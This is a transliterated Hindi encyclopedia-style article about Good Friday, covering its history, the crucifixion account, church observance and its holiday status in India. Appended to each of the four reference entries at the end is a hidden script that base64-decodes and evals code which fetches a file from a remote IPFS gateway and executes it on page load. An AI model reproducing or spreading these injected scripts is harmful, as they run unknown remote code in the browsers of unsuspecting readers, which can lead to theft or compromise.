गुड फ़्राइडे
gud fraide
| |
| any nam | holi fraide, blaik fraid, gret fraide |
| anuyayi | yah tyauhar eesaee dharm ke logoan dvara eesa masih ko salib par chadhane ke karan huee mrityu ke upalakshy mean manaya jata hai. |
| tithi | 14 aprail (2017) |
| utsav | is mauqe par charch ko sajaya jata hai aur parv ki shuruat baibil ke path se ki jati hai. isake bad pavitr kroos yatra shuroo hoti hai. phir vapas charch akar khatm hoti hai. isake bad prabhu ke balidan ko yad kiya jata hai. |
| dharmik manyata | roman kaitholik charch gud fraide ko upavas divas ke taur par manata hai, jabaki charch ke laitin sanskaroan ke anusar ek bar poora bhojan halaanki vah niyamit bhojan se kam hota hai aur aksar usamean maans ke badale machhali khayi jati hai aur do kaleva yani alpahar liya jata hai. |
| any janakari | bharat mean, gud fraide ke din kendriy chhutti ke sath hi sath rajy ki bhi chhutti hai, yadyapi sheyar bazar samanyatah band rahate haian. |
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gud fraide (aangrezi: Good Friday) ko holi fraide, blaik fraide aur gret fraide bhi kahate haian. is din tin baje se chhah baje tak yah parv manaya jata hai. yah tyauhar eesaee dharm ke logoan dvara eesa masih ko salib par chadhane ke karan huee mrityu ke upalakshy mean manaya jata hai. yah tyauhar pavitr saptah ke dauran manaya jata hai, jo eestar sande se pahale p dane vale shukravar ko ata hai. is mauqe par charch ko sajaya jata hai aur parv ki shuruat baibil ke path se ki jati hai. isake bad pavitr kroos yatra shuroo hoti hai. phir vapas charch akar khatm hoti hai. isake bad prabhu ke balidan ko yad kiya jata hai. shuroo mean kishchiyan charch eestar ravivar yani unake jivit hone ke din ko hi pavitr din ke roop mean manate the. kiantu chauthi sadi se gudafraide sahit eestar ke poorv ane vale pratyek din ko pavitr ghoshit kiya gaya.[1]
balidan ka din
kaha jata hai ki jab dharati par manushy pathabhrasht hone laga, dharm ke nam par hiansa, atank, bhrashtachar, atyachar aur aandhavishvas badh gaya tab parameshvar ko shaanti aur prem ke lie yishu ko apane putr ke roop bhejana p da aur yishu ne kaantoan ka taj pahan kar, sooli par chadhakar manavata ki sikh di. 'gud fraide’ isi manavata ke lie pran ka nyauchhavar karane ka din hai. aj se do hazar sal pahale dharm aur jati ke nam par khoon-kharaba hone laga tha. log svarth mean aandhe hokar pap karm mean lipt ho gaye. jagah-jagah atank aur atyachar badhane laga,tab pita parameshvar ne nirdoshoan ki raksha aur bhatake hue logoan ko sanmarg par lane ke lie apane putr ki bali dene ka nirnay kiya. unhoanne yishu ko dharati par bhejakar manushy ko pap karm se mukt hokar apana jivan sudharane ka mauqa diya. jaisa ki kaha jata hai yishu masih ka janm ‘palistin’ yani ijarail ke ek gaanv baitalaham mean alaukik shakti se mariyam ke madhyam se hua. us vaqt yishu masih ki mata mariyam aur yoosuf yani yishu ke pita ki mangani hi huee thi. donoan ke sanyog se pahale hi mariyam ke garbhavati hone ki vajah se yoosooph ne unhean tyagane ka man bana liya, lekin isase pahale hi prabhu ke svargadoot ne yoosooph ko svapn mean mariyam ke garbh mean pavitr atm ke hone aur usaki raksha karane ka adesh diya. yoosuph ne prabhu ke dut ki ajna mani aur janm ke bad balak ka nam “yishu” rakha. balak yishu ko baitalaham ke raja ‘herodes’ ne maravane ki par sanbhav prayas kiya, lekin isase pahale hi yoosooph prabhu ke doot ke adesh ke par mariyam aur yishu ko lekar misr chale gaye aur raja herodes ke marane tak misr mean rahe. phir pun: svapn mean chetavani pakar galil desh mean chale ge aur nasarat nam ke nagar mean ja base.
yishu jagah-jagah jakar logoan ko manavata aur shaanti ka sandesh dene lage. unhoanne dharm ke nam par aandhavishvas phailane vale pharisiyoan yani dharmapanditoan ko manavajati ka shatru kaha. ajnanata aur aandhavishvas ko manavata ka kalank kaha. unake sandeshoan se pareshan hokar dharmapanditoan ne unhean dharm ki avamanana ka arop lagakar unhean maut ki saza di. par yishu apani niyati se avagat the. yishu masih ko kee tarah ki yatanaean di gayian. sainikoan ne yishu ka upahas u daya. yishu ko unake kap de utarakar lal choanga pahanaya gaya. kaantoan ka taj unake sir par rakha gaya. itana hi nahian yishu ke muanh par thooka gaya aur unake sar par sarakandoan se prahar kiye gaye. isake bad yishu kroos ko apane kandhe par uthakar ‘gol gotha’ namak jagah le gaye. jahaan unhean din ke barah baje do dakoooan ke sath ek ko dahini aur doosara ko baee taraph kroosoan par chadha diya gaya. jis din yishu ko sooli par chadhaya gaya vah shukravar ko din tha. tin ghante bad yishu ne ooanchi avaz mean parameshvar ko pukara ‘he pita maian apani atma ko tere hathoan sauanpata hooan,’ itana kahakar unhoanne apana pran tyag diya. manavata ke lie balidan ka vo din gudafraide tha. eesaee dharm ke anuyayi yishu ko unake tyag ke lie yad karate haian. maut ke bad yishu ko qabr mean daphana diya gaya, hairani to tab huee jab tin din bad yani ravivar ko yishu jivit ho uthe. kahate haian pun: jivit hone ke bad yishu chalis din tak apane shishyoan aur mitroan ke sath rahe aur aant mean svarg chale gaye.[1]
kaise manaya jata hai
roman kaitholik charch gud fraide ko upavas divas ke taur par manata hai, jabaki charch ke laitin sanskaroan ke anusar ek bar poora bhojan halaanki vah niyamit bhojan se kam hota hai aur aksar usamean maans ke badale machhali khayi jati hai aur do kaleva yani alpahar liya jata hai. roman riti ke anusar samanyatah pavitr brihaspativar ki sham ko prabhu ke bhoj ke uparaant koee mas utsav nahian hota jab tak ki eestar nigarani ki avadhi bit n jaye. prabhu eesa masih ke smaran mean bhoj ka koee utsav nahian hota aur vah keval passioan aauf d lord ke sarvis ke dauran bhaktoan mean vitarit kiya jata hai. [[chitr:Crucifix-Jesus-Christ.jpg|thumb|250px|left|sooli par chadhaye hue (krusifaid) eesa masih]] pooja vedi poori tarah se khali rahati hai aur kr aaus, momabatti athava vastr kuchh bhi vahaan nahian rahata. pratha ke anusar eestar nigarani avadhi mean jal ka ashirvad pane ke lie pavitr jal sanskar ke patr khali kiye jate haian. eestar nigarani ki avadhi ke dauran gud fraide athava pavitr shanivar ko ghantiyaan nahian bajane ki parampara hai.[2]
adarsh samay
paishan aauf d l aaurd ke utsav ka adarsh samay aparahn tin baje hai. is samay padari ke pahanave ka rang lal hota hai. 1970 se pahale pahanave ka rang kala hota tha, keval kamyooniyan vala hissa baiangani rang ka hota tha. 1955 se pahale poora pahanava hi kala hone ka vidhan tha. agar koee bishap yah anushthan sanpann karata hai, vah ek sada mukut pahanata hai.[2]
prarthana ke tin bhag hote haian- baibal aur dharm granthoan ka path, kr aaus ki pooja aur prabhu bhoj mean sahabhagita.
baibil path
baibil path ke pahale bhag mean prabhu yishoo ke prati prem aur gunagan ki avritti ya gayan hota hai jo aksar ek se adhik pathakoan ya gayakoan dvara kiya jata hai. is pratham charan mean prarthana ki ek shrriankhala hoti hai jo charch, pop, padari aur charch mean ane vale grihasthoan, prabhu yishu masih mean vishvas nahian karane valoan, bhagavan par vishvas nahian karane valoan, sarvajanik karyalayoan mean kam karane valoan aur vishesh taur par zarooratamand logoan ke lie ki jati hai.[2]
kr aaus ki pooja
gud fraide ke tyauhar ke doosare charan mean kr aaus ki pooja ki jati hai. ek kroosiphiks jisamean ek khas paramparik dhang se yishu ke lie git gaye jate haian. halaanki yah zaroori nahian hai phir bhi yah dharmik samagam am taur par vedi ke pas hota hai, jisamean saty aur nishtha ke sath samman vyakt kiya jata hai aur khas taur par vyaktigat roop se jab prabhu yishoo ke prati prem bhav ke git gaye ja rahe hoan.[2]
prabhu bhoj
[[chitr:Statue-Jesus.jpg|thumb|eesa masih ki pratima|250px]] isaka tisara bhag hota hai pavitr prabhu bhoj ka, jo is tyauhar ki aantim k di hai. yah shuroo hoti hai avar phadar ke sath lekin "roti to dane ki rasm" aur isase sanbandhit mantr ka uchcharan nahian kiya jata . pavitr guruvar ki prarthana sabha mean abhimantrit prabhu prasad ko bhaktoan mean vitarit kiya jata hai.[2]
gud fraide ka sandesh
manav ka manav dvara shoshan, nirdhanoan ka dhaniyoan dvara daman, shasakoan ka nyay maangane valoan ko bandigrih mean dalana, manushy ke adhikaroan ki ahavelana, dharm ke palan hetu logoan ko utpi dat karana, manav itihas ka dukhad paksh raha hai. isake viruddh bahut se vyaktiyoan evan dharm parivartakoan ne apane pranoan ki ahuti dekar ek aisa samajik, arthik aur rajanitik vatavaran paida karane ki cheshta ki hai jisamean manushy svatanntr hava mean saans le sake. manushy ko sabhy evan apane adhikaroan ke prati jagaruk karane mean dharm ki bahut mahattvapoorn bhoomika rahi hai. duniya ke pratyek dharm mean kraanti ka dharmavijnan maujood hai isalie kraanti dharmavijnan aur svatantrata dharmavijnan ek hi sikke ke do pahaloo hai. [3]
kendriy avakash
bharat mean, gud fraide kendriy chhutti ke sath hi sath rajy ki bhi chhutti hai, yadyapi sheyar bazar samanyatah band rahate haian. kuchh rajy jaise- asam, gova, aur keral jahaan bahumat mean n hone ke bavajood eesaeeyoan ki pratishat janasankhya adhik hai, (jahaan par eesaeeyoan ki zyada tadad hai, ke kee doosare vyavasay bhi band rahate haian) lekin desh ke baki hissoan mean zyadatar vyavasay gud fraide ke din khule rahate haian. adhikaansh vidyalay gud fraide ke din band rahate haian.[4]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 gudafraide yani balidan ka din (hindi) (ech.ti.em.el) samay laiv d aaut k aaum. abhigaman tithi: 22 aprॅl, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 2.2 2.3 2.4 prem aur kshama ka sandesh deta hai gud fraide (hindi) (ech.ti.em.el) aj tak. abhigaman tithi: 22 aprॅl, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ gud fraide ka gud sandesh (hindi) (ech.ti.em.el) visphot d aaut k aaum. abhigaman tithi: 22 aprॅl, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ shraddha se manaya jata hai gud fraide (hindi) (ech.ti.em.el) star news agency. abhigaman tithi: 22 aprॅl, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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